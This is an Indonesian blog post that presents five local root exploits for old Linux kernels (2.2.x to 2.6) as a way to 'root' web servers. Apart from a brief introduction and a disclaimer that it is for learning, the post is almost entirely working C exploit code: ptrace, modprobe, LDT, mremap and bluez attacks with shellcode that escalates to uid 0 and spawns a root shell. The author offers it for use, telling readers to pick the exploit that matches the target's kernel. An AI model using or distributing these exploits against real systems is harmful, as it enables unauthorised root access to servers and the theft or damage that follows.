Kebanyakan web sekarang menggunakan OS linux sebagai OS mesin servernya. Dan password ini tersimpan dalam /etc/passwd, atau /etc/shadow. Melakukan cracking password ini sangatlah sulit, terlebih jika pemilik mesin web server menggunakan password yang tidak sederhana. Lalu bagaimana cara mengatasinya?
Banyak yang bilang bahwa OS linux adalah OS terbaik dalam segi keamanan? Namun tetap tidak bisa dipungkiri bahwa Linux memiliki sejumlah kelemahan. Kali ini kita akan berfokus pada kernel. Kernel memilik versi tersendiri, seperti halnya Windows yang menerapkan system Build. Kernel yang rentan akan mudah diserang, dan dapat mengakibatkan resiko yang fatal karena attacker telah mendapatkan akun root.
Kali ini saya akan berbagi cara melakukan rooting Linux. Setiap web mungkin memiliki versi kernel yang berbeda. Jadi pastikan exploit yang anda gunakan, sesuai sengan versi kernel anda.
Peringatan:
Informasi ini bertujuan untuk pembelajaran, penggunaan informasi ini untuk tujuan yang merugikan, adalah tanggung jawab pembaca.
1. Linux Kernel 2.2.x - 2.4.x
Code:
#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>
char cliphcode[] =
"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
"\x00\x5b\x31\xc9\x89\xca\xcd\x80"
"\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
"\x00\x00\xcd\x80\x89\xd0\x89\xd3"
"\x40\xcd\x80\xe8\xdc\xff\xff\xff";
#define CODE_SIZE (sizeof(cliphcode) - 1)
pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
volatile int gotchild = 0;
void fatal(char * msg)
{
perror(msg);
kill(parent, SIGKILL);
kill(child, SIGKILL);
kill(victim, SIGKILL);
}
void putcode(unsigned long * dst)
{
char buf[MAXPATHLEN + CODE_SIZE];
unsigned long * src;
int i, len;
memcpy(buf, cliphcode, CODE_SIZE);
len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
if (len == -1)
fatal("[-] Unable to read /proc/self/exe");
len += CODE_SIZE + 1;
buf[len] = '\0';
src = (unsigned long*) buf;
for (i = 0; i < len; i += 4)
if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
fatal("[-] Unable to write shellcode");
}
void sigchld(int signo)
{
struct user_regs_struct regs;
if (gotchild++ == 0)
return;
fprintf(stderr, "[+] Signal caught\n");
if (ptrace(PTRACE_GETREGS, victim, NULL, ®s) == -1)
fatal("[-] Unable to read registers");
fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
putcode((unsigned long *)regs.eip);
fprintf(stderr, "[+] Now wait for suid shell...\n");
if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
fatal("[-] Unable to detach from victim");
exit(0);
}
void sigalrm(int signo)
{
errno = ECANCELED;
fatal("[-] Fatal error");
}
void do_child(void)
{
int err;
child = getpid();
victim = child + 1;
signal(SIGCHLD, sigchld);
do
err = ptrace(PTRACE_ATTACH, victim, 0, 0);
while (err == -1 && errno == ESRCH);
if (err == -1)
fatal("[-] Unable to attach");
fprintf(stderr, "[+] Attached to %d\n", victim);
while (!gotchild) ;
if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
fatal("[-] Unable to setup syscall trace");
fprintf(stderr, "[+] Waiting for signal\n");
for(;;);
}
void do_parent(char * progname)
{
struct stat st;
int err;
errno = 0;
socket(AF_SECURITY, SOCK_STREAM, 1);
do {
err = stat(progname, &st);
} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
if (err == -1)
fatal("[-] Unable to stat myself");
alarm(0);
system(progname);
}
void prepare(void)
{
if (geteuid() == 0) {
initgroups("root", 0);
setgid(0);
setuid(0);
execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
fatal("[-] Unable to spawn shell");
}
}
int main(int argc, char ** argv)
{
prepare();
signal(SIGALRM, sigalrm);
alarm(10);
parent = getpid();
child = fork();
victim = child + 1;
if (child == -1)
fatal("[-] Unable to fork");
if (child == 0)
do_child();
else
do_parent(argv[0]);
return 0;
}
2. Linux Kernel < 2.4.20
Code:
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <fcntl.h>
#include <errno.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/time.h>
#include <linux/user.h>
#define TMPSIZE 4096
#define FMAX 768
#define UIDNUM 6
#define MMSIZE (4096*1)
#define MAXSTACK 0xc0000000
// where to put the root script
#define SHELL "/tmp/w00w00w"
// what to open to run modprobe
#define ENTRY "/dev/dsp3"
struct uids {
unsigned uid;
unsigned euid;
unsigned suid;
unsigned fsuid;
};
// thanks to the epcs2.c code :-))
char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x31\xc0\x31\
xdb\xb0\x17\xcd\x80" /* setuid(0) */
"\x31\xc0\xb0\x2e\xcd\x80" "\x31\xc0\x50\xeb\x17\x8b\x1c\x24"
/* execve(SHELL) */
"\x90\x90\x90\x89\xe1\x8d\x54\x24" /* lets be tricky */
"\x04\xb0\x0b\xcd\x80\x31\xc0\x89"
"\xc3\x40\xcd\x80\xe8\xe4\xff\xff" "\xff" SHELL "\x00\x00\x00\x00";
// payload...
char *shellcmd = "#!/bin/sh\nid|wall\necho \"Your kernel is buggy\"|wall";
volatile int sig = 0;
volatile struct user_regs_struct regs;
void sighnd(int v)
{
sig++;
}
void fatal(const char *msg)
{
printf("\n");
if (!errno) {
fprintf(stderr, "FATAL ERROR: %s\n", msg);
} else {
perror(msg);
}
printf("\n");
fflush(stdout);
fflush(stderr);
exit(129);
}
void exploit(int pid)
{
int i;
if (ptrace(PTRACE_GETREGS, pid, 0, ®s))
fatal("ptrace: PTRACE_GETREGS");
for (i = 0; i <= sizeof(shellcode); i += 4) {
if (ptrace
(PTRACE_POKETEXT, pid, regs.eip + i, *(int *) (shellcode + i)))
fatal("ptrace: PTRACE_POKETEXT");
}
if (ptrace(PTRACE_SETREGS, pid, 0, ®s))
fatal("ptrace: PTRACE_SETREGS");
ptrace(PTRACE_DETACH, pid, 0, 0);
kill(pid, SIGCONT);
}
int get_ids(FILE * fp, struct uids *uids)
{
int i;
char tmp[TMPSIZE];
fseek(fp, 0, SEEK_SET);
for (i = 0; i < UIDNUM; i++)
fgets(tmp, sizeof(tmp), fp);
return fscanf(fp, "Uid: %u %u %u %u", &uids->uid, &uids->euid,
&uids->suid, &uids->fsuid);
}
int main(int ac, char **av)
{
int fd, pid, p, i;
char buf[TMPSIZE];
struct uids uids;
FILE *fp;
setpgrp();
setsid();
umask(022);
unlink(SHELL);
fd = open(SHELL, O_RDWR | O_CREAT | O_TRUNC, 0755);
fp = fdopen(fd, "w+");
fprintf(fp, "%s\n", shellcmd);
fclose(fp);
pid = getpid() + 2;
snprintf(buf, sizeof(buf) - 1, "/proc/%d/status", pid);
printf("\nModprobe pid %d, my pid %d", pid, getpid());
fflush(stdout);
signal(SIGUSR1, sighnd);
// fork modprobe helper
if (!(p = fork())) {
// some nice work for exec_usermodehelper(), keep it busy!
for (i = 0; i < FMAX; i++) {
fd = open("/dev/zero", O_RDWR);
mmap(NULL, MMSIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
}
kill(getppid(), SIGUSR1);
while (!sig);
printf("\nHelper (pid %d) requesting module...", getpid());
fflush(stdout);
fd = open(ENTRY, O_RDONLY | O_NONBLOCK);
exit(0);
}
// synchronize with the child
else {
while (!sig);
kill(p, SIGUSR1);
// wait for modprobe to run at unprivileged level
while (1) {
fd = open(buf, O_RDONLY);
if (fd > 0) {
if (!(fp = fdopen(fd, "r")))
fatal("fdopen");
if (get_ids(fp, &uids) != 4
|| (uids.uid != uids.euid || uids.uid != uids.suid
|| uids.uid != uids.fsuid)) {
fatal("did not catch modprobe...try again later :-)");
}
// ok, it runs...
while (1) {
if (ptrace(PTRACE_ATTACH, pid, NULL, NULL)) {
fatal("PTRACE_ATTACH failed!");
} else {
i = 0;
printf("\nAttached afterburner...\n");
fflush(stdout);
while (ptrace(PTRACE_GETREGS, pid, 0, ®s)
|| !regs.eip || regs.eip >= MAXSTACK) {
ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
printf("\rplease wait %d", i++);
fflush(stdout);
}
waitpid(pid, NULL, WUNTRACED);
printf
("\nValid EIP found EIP=%p\nexploiting the bug, good luck... ",
regs.eip);
fflush(stdout);
exploit(pid);
exit(0);
}
}
fclose(fp);
}
}
}
return 0;
}
3. Linux Kernel <= 2.4.22
Code:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <paths.h>
#include <grp.h>
#include <setjmp.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/ucontext.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <asm/page.h>
#include <asm/segment.h>
#include <linux/unistd.h>
#include <linux/linkage.h>
#define kB * 1024
#define MB * 1024 kB
#define GB * 1024 MB
#define MAGIC 0xdefaced /* I should've patented this number -cliph */
#define ENTRY_MAGIC 0
#define ENTRY_GATE 2
#define ENTRY_CS 4
#define ENTRY_DS 6
#define CS ((ENTRY_CS << 2) | 4)
#define DS ((ENTRY_DS << 2) | 4)
#define GATE ((ENTRY_GATE << 2) | 4 | 3)
#define LDT_PAGES ((LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1) / PAGE_SIZE)
#define TOP_ADDR 0xFFFFE000U
/* configuration */
unsigned task_size;
unsigned page;
uid_t uid;
unsigned address;
int dontexit = 0;
void fatal(char * msg)
{
fprintf(stderr, "[-] %s: %s\n", msg, strerror(errno));
if (dontexit) {
fprintf(stderr, "[-] Unable to exit, entering neverending loop.\n");
kill(getpid(), SIGSTOP);
for (;;) pause();
}
exit(EXIT_FAILURE);
}
void configure(void)
{
unsigned val;
task_size = ((unsigned)&val + 1 GB ) / (1 GB) * 1 GB;
uid = getuid();
}
void expand(void)
{
unsigned top = (unsigned) sbrk(0);
unsigned limit = address + PAGE_SIZE;
do {
if (sbrk(PAGE_SIZE) == NULL)
fatal("Kernel seems not to be vulnerable");
dontexit = 1;
top += PAGE_SIZE;
} while (top < limit);
}
jmp_buf jmp;
#define MAP_NOPAGE 1
#define MAP_ISPAGE 2
void sigsegv(int signo, siginfo_t * si, void * ptr)
{
struct ucontext * uc = (struct ucontext *) ptr;
int error_code = uc->uc_mcontext.gregs[REG_ERR];
(void)signo;
(void)si;
error_code = MAP_NOPAGE + (error_code & 1);
longjmp(jmp, error_code);
}
void prepare(void)
{
struct sigaction sa;
sa.sa_sigaction = sigsegv;
sa.sa_flags = SA_SIGINFO | SA_NOMASK;
sigemptyset(&sa.sa_mask);
sigaction(SIGSEGV, &sa, NULL);
}
int testaddr(unsigned addr)
{
int val;
val = setjmp(jmp);
if (val == 0) {
asm ("verr (%%eax)" : : "a" (addr));
return MAP_ISPAGE;
}
return val;
}
#define map_pages (((TOP_ADDR - task_size) + PAGE_SIZE - 1) / PAGE_SIZE)
#define map_size (map_pages + 8*sizeof(unsigned) - 1) / (8*sizeof(unsigned))
#define next(u, b) do { if ((b = 2*b) == 0) { b = 1; u++; } } while(0)
void map(unsigned * map)
{
unsigned addr = task_size;
unsigned bit = 1;
prepare();
while (addr < TOP_ADDR) {
if (testaddr(addr) == MAP_ISPAGE)
*map |= bit;
addr += PAGE_SIZE;
next(map, bit);
}
signal(SIGSEGV, SIG_DFL);
}
void find(unsigned * m)
{
unsigned addr = task_size;
unsigned bit = 1;
unsigned count;
unsigned tmp;
prepare();
tmp = address = count = 0U;
while (addr < TOP_ADDR) {
int val = testaddr(addr);
if (val == MAP_ISPAGE && (*m & bit) == 0) {
if (!tmp) tmp = addr;
count++;
} else {
if (tmp && count == LDT_PAGES) {
errno = EAGAIN;
if (address)
fatal("double allocation\n");
address = tmp;
}
tmp = count = 0U;
}
addr += PAGE_SIZE;
next(m, bit);
}
signal(SIGSEGV, SIG_DFL);
if (address)
return;
errno = ENOTSUP;
fatal("Unable to determine kernel address");
}
int modify_ldt(int, void *, unsigned);
void ldt(unsigned * m)
{
struct modify_ldt_ldt_s l;
map(m);
memset(&l, 0, sizeof(l));
l.entry_number = LDT_ENTRIES - 1;
l.seg_32bit = 1;
l.base_addr = MAGIC >> 16;
l.limit = MAGIC & 0xffff;
if (modify_ldt(1, &l, sizeof(l)) == -1)
fatal("Unable to set up LDT");
l.entry_number = ENTRY_MAGIC / 2;
if (modify_ldt(1, &l, sizeof(l)) == -1)
fatal("Unable to set up LDT");
find(m);
}
asmlinkage void kernel(unsigned * task)
{
unsigned * addr = task;
/* looking for uids */
while (addr[0] != uid || addr[1] != uid ||
addr[2] != uid || addr[3] != uid)
addr++;
addr[0] = addr[1] = addr[2] = addr[3] = 0; /* uids */
addr[4] = addr[5] = addr[6] = addr[7] = 0; /* uids */
addr[8] = 0;
/* looking for vma */
for (addr = (unsigned *) task_size; addr; addr++) {
if (addr[0] >= task_size && addr[1] < task_size &&
addr[2] == address && addr[3] >= task_size) {
addr[2] = task_size - PAGE_SIZE;
addr = (unsigned *) addr[3];
addr[1] = task_size - PAGE_SIZE;
addr[2] = task_size;
break;
}
}
}
void kcode(void);
#define __str(s) #s
#define str(s) __str(s)
void __kcode(void)
{
asm(
"kcode: \n"
" pusha \n"
" pushl %es \n"
" pushl %ds \n"
" movl $(" str(DS) ") ,%edx \n"
" movl %edx,%es \n"
" movl %edx,%ds \n"
" movl $0xffffe000,%eax \n"
" andl %esp,%eax \n"
" pushl %eax \n"
" call kernel \n"
" addl $4, %esp \n"
" popl %ds \n"
" popl %es \n"
" popa \n"
" lret \n"
);
}
void knockout(void)
{
unsigned * addr = (unsigned *) address;
if (mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE) == -1)
fatal("Unable to change page protection");
errno = ESRCH;
if (addr[ENTRY_MAGIC] != MAGIC)
fatal("Invalid LDT entry");
/* setting call gate and privileged descriptors */
addr[ENTRY_GATE+0] = ((unsigned)CS << 16) | ((unsigned)kcode & 0xffffU);
addr[ENTRY_GATE+1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;
addr[ENTRY_CS+0] = 0x0000ffffU; /* kernel 4GB code at 0x00000000 */
addr[ENTRY_CS+1] = 0x00cf9a00U;
addr[ENTRY_DS+0] = 0x0000ffffU; /* user 4GB code at 0x00000000 */
addr[ENTRY_DS+1] = 0x00cf9200U;
prepare();
if (setjmp(jmp) != 0) {
errno = ENOEXEC;
fatal("Unable to jump to call gate");
}
asm("lcall $" str(GATE) ",$0x0"); /* this is it */
}
void shell(void)
{
char * argv[] = { _PATH_BSHELL, NULL };
execve(_PATH_BSHELL, argv, environ);
fatal("Unable to spawn shell\n");
}
void remap(void)
{
static char stack[8 MB]; /* new stack */
static char * envp[] = { "PATH=" _PATH_STDPATH, NULL };
static unsigned * m;
static unsigned b;
m = (unsigned *) sbrk(map_size);
if (!m)
fatal("Unable to allocate memory");
environ = envp;
asm ("movl %0, %%esp\n" : : "a" (stack + sizeof(stack)));
b = ((unsigned)sbrk(0) + PAGE_SIZE - 1) & PAGE_MASK;
if (munmap((void*)b, task_size - b) == -1)
fatal("Unable to unmap stack");
while (b < task_size) {
if (sbrk(PAGE_SIZE) == NULL)
fatal("Unable to expand BSS");
b += PAGE_SIZE;
}
ldt(m);
expand();
knockout();
shell();
}
int main(void)
{
configure();
remap();
return EXIT_FAILURE;
}
4. Linux Kernel 2.4.x
Code:
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <syscall.h>
#include <signal.h>
#include <time.h>
#include <sched.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <asm/page.h>
#define MREMAP_MAYMOVE 1
#define MREMAP_FIXED 2
#define str(s) #s
#define xstr(s) str(s)
#define DSIGNAL SIGCHLD
#define CLONEFL (DSIGNAL|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_VFORK)
#define PAGEADDR 0x2000
#define RNDINT 512
#define NUMVMA (3 * 5 * 257)
#define NUMFORK (17 * 65537)
#define DUPTO 1000
#define TMPLEN 256
#define __NR_sys_mremap 163
_syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d, ulong, e);
unsigned long sys_mremap(unsigned long addr, unsigned long old_len, unsigned long
new_len,
unsigned long flags, unsigned long new_addr);
static volatile int pid = 0, ppid, hpid, *victim, *fops, blah = 0, dummy = 0, uid,
gid;
static volatile int *vma_ro, *vma_rw, *tmp;
static volatile unsigned fake_file[16];
void fatal(const char * msg)
{
printf("\n");
if (!errno) {
fprintf(stderr, "FATAL: %s\n", msg);
} else {
perror(msg);
}
printf("\nentering endless loop");
fflush(stdout);
fflush(stderr);
while (1) pause();
}
void kernel_code(void * file, loff_t offset, int origin)
{
int i, c;
int *v;
if (!file)
goto out;
__asm__("movl %%esp, %0" : : "m" (c));
c &= 0xffffe000;
v = (void *) c;
for (i = 0; i < PAGE_SIZE / sizeof(*v) - 1; i++) {
if (v[i] == uid && v[i+1] == uid) {
i++; v[i++] = 0; v[i++] = 0; v[i++] = 0;
}
if (v[i] == gid) {
v[i++] = 0; v[i++] = 0; v[i++] = 0; v[i++] = 0;
break;
}
}
out:
dummy++;
}
void try_to_exploit(void)
{
int v = 0;
v += fops[0];
v += fake_file[0];
kernel_code(0, 0, v);
lseek(DUPTO, 0, SEEK_SET);
if (geteuid()) {
printf("\nFAILED uid!=0"); fflush(stdout);
errno =- ENOSYS;
fatal("uid change");
}
printf("\n[+] PID %d GOT UID 0, enjoy!", getpid()); fflush(stdout);
kill(ppid, SIGUSR1);
setresuid(0, 0, 0);
sleep(1);
printf("\n\n"); fflush(stdout);
execl("/bin/bash", "bash", NULL);
fatal("burp");
}
void cleanup(int v)
{
victim[DUPTO] = victim[0];
kill(0, SIGUSR2);
}
void redirect_filp(int v)
{
printf("\n[!] parent check race... "); fflush(stdout);
if (victim[DUPTO] && victim[0] == victim[DUPTO]) {
printf("SUCCESS, cought SLAB page!"); fflush(stdout);
victim[DUPTO] = (unsigned) & fake_file;
signal(SIGUSR1, &cleanup);
kill(pid, SIGUSR1);
} else {
printf("FAILED!");
}
fflush(stdout);
}
int get_slab_objs(void)
{
FILE * fp;
int c, d, u = 0, a = 0;
static char line[TMPLEN], name[TMPLEN];
fp = fopen("/proc/slabinfo", "r");
if (!fp)
fatal("fopen");
fgets(name, sizeof(name) - 1, fp);
do {
c = u = a =- 1;
if (!fgets(line, sizeof(line) - 1, fp))
break;
c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a, &d, &d, &d, &d);
} while (strcmp(name, "size-4096"));
fclose(fp);
return c == 7 ? a - u : -1;
}
void unprotect(int v)
{
int n, c = 1;
*victim = 0;
printf("\n[+] parent unprotected PTE "); fflush(stdout);
dup2(0, 2);
while (1) {
n = get_slab_objs();
if (n < 0)
fatal("read slabinfo");
if (n > 0) {
printf("\n depopulate SLAB #%d", c++);
blah = 0; kill(hpid, SIGUSR1);
while (!blah) pause();
}
if (!n) {
blah = 0; kill(hpid, SIGUSR1);
while (!blah) pause();
dup2(0, DUPTO);
break;
}
}
signal(SIGUSR1, &redirect_filp);
kill(pid, SIGUSR1);
}
void cleanup_vmas(void)
{
int i = NUMVMA;
while (1) {
tmp = mmap((void *) (PAGEADDR - PAGE_SIZE), PAGE_SIZE, PROT_READ,
MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
if (tmp != (void *) (PAGEADDR - PAGE_SIZE)) {
printf("\n[-] ERROR unmapping %d", i); fflush(stdout);
fatal("unmap1");
}
i--;
if (!i)
break;
tmp = mmap((void *) (PAGEADDR - PAGE_SIZE), PAGE_SIZE, PROT_READ|PROT_WRITE,
MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
if (tmp != (void *) (PAGEADDR - PAGE_SIZE)) {
printf("\n[-] ERROR unmapping %d", i); fflush(stdout);
fatal("unmap2");
}
i--;
if (!i)
break;
}
}
void catchme(int v)
{
blah++;
}
void exitme(int v)
{
_exit(0);
}
void childrip(int v)
{
waitpid(-1, 0, WNOHANG);
}
void slab_helper(void)
{
signal(SIGUSR1, &catchme);
signal(SIGUSR2, &exitme);
blah = 0;
while (1) {
while (!blah) pause();
blah = 0;
if (!fork()) {
dup2(0, DUPTO);
kill(getppid(), SIGUSR1);
while (1) pause();
} else {
while (!blah) pause();
blah = 0; kill(ppid, SIGUSR2);
}
}
exit(0);
}
int main(void)
{
int i, r, v, cnt;
time_t start;
srand(time(NULL) + getpid());
ppid = getpid();
uid = getuid();
gid = getgid();
hpid = fork();
if (!hpid)
slab_helper();
fops = mmap(0, PAGE_SIZE, PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
if (fops == MAP_FAILED)
fatal("mmap fops VMA");
for (i = 0; i < PAGE_SIZE / sizeof(*fops); i++)
fops[i] = (unsigned)&kernel_code;
for (i = 0; i < sizeof(fake_file) / sizeof(*fake_file); i++)
fake_file[i] = (unsigned)fops;
vma_ro = mmap(0, PAGE_SIZE, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
if (vma_ro == MAP_FAILED)
fatal("mmap1");
vma_rw = mmap(0, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
if (vma_rw == MAP_FAILED)
fatal("mmap2");
cnt = NUMVMA;
while (1) {
r = sys_mremap((ulong)vma_ro, 0, 0, MREMAP_FIXED|MREMAP_MAYMOVE, PAGEADDR);
if (r == (-1)) {
printf("\n[-] ERROR remapping"); fflush(stdout);
fatal("remap1");
}
cnt--;
if (!cnt) break;
r = sys_mremap((ulong)vma_rw, 0, 0, MREMAP_FIXED|MREMAP_MAYMOVE, PAGEADDR);
if (r == (-1)) {
printf("\n[-] ERROR remapping"); fflush(stdout);
fatal("remap2");
}
cnt--;
if (!cnt) break;
}
victim = mmap((void*)PAGEADDR, PAGE_SIZE, PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
if (victim != (void *) PAGEADDR)
fatal("mmap victim VMA");
v = *victim;
*victim = v + 1;
signal(SIGUSR1, &unprotect);
signal(SIGUSR2, &catchme);
signal(SIGCHLD, &childrip);
printf("\n[+] Please wait...HEAVY SYSTEM LOAD!\n"); fflush(stdout);
start = time(NULL);
cnt = NUMFORK;
v = 0;
while (1) {
cnt--;
v--;
dummy += *victim;
if (cnt > 1) {
__asm__(
"pusha \n"
"movl %1, %%eax \n"
"movl $("xstr(CLONEFL)"), %%ebx \n"
"movl %%esp, %%ecx \n"
"movl $120, %%eax \n"
"int $0x80 \n"
"movl %%eax, %0 \n"
"popa \n"
: : "m" (pid), "m" (dummy)
);
} else {
pid = fork();
}
if (pid) {
if (v <= 0 && cnt > 0) {
float eta, tm;
v = rand() % RNDINT / 2 + RNDINT / 2;
tm = eta = (float)(time(NULL) - start);
eta *= (float)NUMFORK;
eta /= (float)(NUMFORK - cnt);
printf("\r\t%u of %u [ %u %% ETA %6.1f s ] ",
NUMFORK - cnt, NUMFORK, (100 * (NUMFORK - cnt)) / NUMFORK, eta - tm);
fflush(stdout);
}
if (cnt) {
waitpid(pid, 0, 0);
continue;
}
if (!cnt) {
while (1) {
r = wait(NULL);
if (r == pid) {
cleanup_vmas();
while (1) { kill(0, SIGUSR2); kill(0, SIGSTOP); pause(); }
}
}
}
}
else {
cleanup_vmas();
if (cnt > 0) {
_exit(0);
}
printf("\n[+] overflow done, the moment of truth..."); fflush(stdout);
sleep(1);
signal(SIGUSR1, &catchme);
munmap(0, PAGE_SIZE);
dup2(0, 2);
blah = 0; kill(ppid, SIGUSR1);
while (!blah) pause();
munmap((void *)victim, PAGE_SIZE);
dup2(0, DUPTO);
blah = 0; kill(ppid, SIGUSR1);
while (!blah) pause();
try_to_exploit();
while (1) pause();
}
}
return 0;
}
5. Linux Kernel 2.4/2.6
Code:
#include <sys/klog.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>
#include <sys/utsname.h>
#include <sys/mman.h>
void usage(char *path);
//===================[ kernel 2.6* privilege elevator ]===============================
//===================[ qobaiashi@u-n-f.com ]===============================
//globals
int uid, gid;
extern load_highlevel;
__asm__
(
"load_highlevel: \n"
"xor %eax, %eax \n"
"mov $0xffffe000, %eax\n"
"and %esp,%eax \n"
"pushl %eax \n"
"call set_root \n"
"pop %eax \n"
//ret to userspace-2.6.* version
" cli \n"
" pushl $0x7b \n" //DS user selector
" pop %ds \n"
" pushl %ds \n" //SS
" pushl $0xc0000000 \n" //ESP
" pushl $0x246 \n" //EFLAGS
" pushl $0x73 \n" //CS user selector
" pushl $shellcode \n" //EIP must not be a push /bin/sh shellcode!!
"iret \n"
);
void set_root(unsigned int *ts)
{
ts = (int*)*ts;
int cntr;
//hope you guys are int aligned
for(cntr = 0; cntr <= 512; cntr++, ts++)
if( ts[0] == uid && ts[1] == uid && ts[4] == gid && ts[5] == gid)
ts[0] = ts[1] = ts[4] = ts[5] = 0;
}
void shellcode()
{
system("/bin/sh");
exit(0);
}
//====================================================================================
//====================================================================================
main(int argc, char *argv[])
{
char buf[2048];
int sock, *mod = (int*)buf;
int *linker = 0;
unsigned int arg;
int tmp;
char *check;
struct utsname vers;
gid = getgid();
uid = getuid();
printf("-|-bluez local root exploit v.0.9 -by qobaiashi-\n |\n");
if (uname(&vers) < 0)
printf(" |- couldn't determine kernel version\n");
else
printf(" |- i've found kernel %s\n", vers.release);
printf(" |- trampoline is at %p\n", &load_highlevel);
if (argc < 2)
{
usage(argv[0]);
exit(1);
}
if (argc == 2)
arg = strtoul(argv[1], 0, 0);
if (fork() != 0)//parent watch the Oops
{
//previous Oops printing
usleep(1000);
if ((tmp = klogctl(0x3, buf, 1700)) > -1)
{
check = strstr(buf, "ecx: ");
printf(" |- [%0.14s]\n", check);
check+=5;
*(check+9) = 0x00;*(--check) = 'x';*(--check) = '0';
mod = (unsigned int*)strtoul(check, 0, 0);
//page align FIXME: might be booggy
int *ecx = mod;
mod = (int)mod &~ 0x00000fff;
linker =
mmap((void*)mod,0x2000,PROT_WRITE|PROT_READ,MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED,0,0);
if(linker == mod)//we could mmap the area
{
printf(" |- suitable value found!using %p\n", mod);
printf(" |- the time has come to push the button... \n");
for (sock = 0;sock <= 1;sock++) //use ecx
*(ecx++) = (int)&load_highlevel; //link to shellcode
}
else
{
printf(" |- could not mmap %p\n", mod);
if( brk((void*)mod+0x200 ) == -1)
{
printf(" |- could not brk to %p\n", mod);
printf(" `-------------------------------\n");
exit(-1);
}
//here we did it
printf(" |- suitable value found!using %p\n", mod);
printf(" |- the time has come to push the button... \n");
for (sock = 0;sock <= 1;sock++) //use ecx
*(ecx++) = (int)&load_highlevel; //link to shellcode
}
if ((sock = socket(AF_BLUETOOTH, SOCK_RAW, arg)) < 0)
exit(1);
}
return 0;
}
if (fork() == 0)//child does the pre-exploit
{
printf(" |- trying...\n");
if ((sock = socket(AF_BLUETOOTH, SOCK_RAW, arg)) < 0)
{
printf(" |- something went w0rng (invalid value)\n");
exit(1);
}
}
exit(0);
}
/*****************\
|** usage **|
\*****************/
void usage(char *path)
{
printf(" |----------------------------\n");
printf(" | usage: %s <negative value> \n", path);
printf(" | tested:\n");
printf(" | SuSE 9.1: -10023411 \n");
printf(" | -41122122 \n");
printf(" | Kernel 2.6.11: -10023 \n");
printf(" | SuSE 9.3: -100222\n");
printf(" | -102901\n");
printf(" `-----------------------\n");
exit(0);
}
Masih ada banyak kernel yang vulnerable. Untuk kesempatan yang berharga ini, saya hanya dapat memberikan 5 Kernel yang vulnerable.
created by : red-dragon
0 comment:
Post a Comment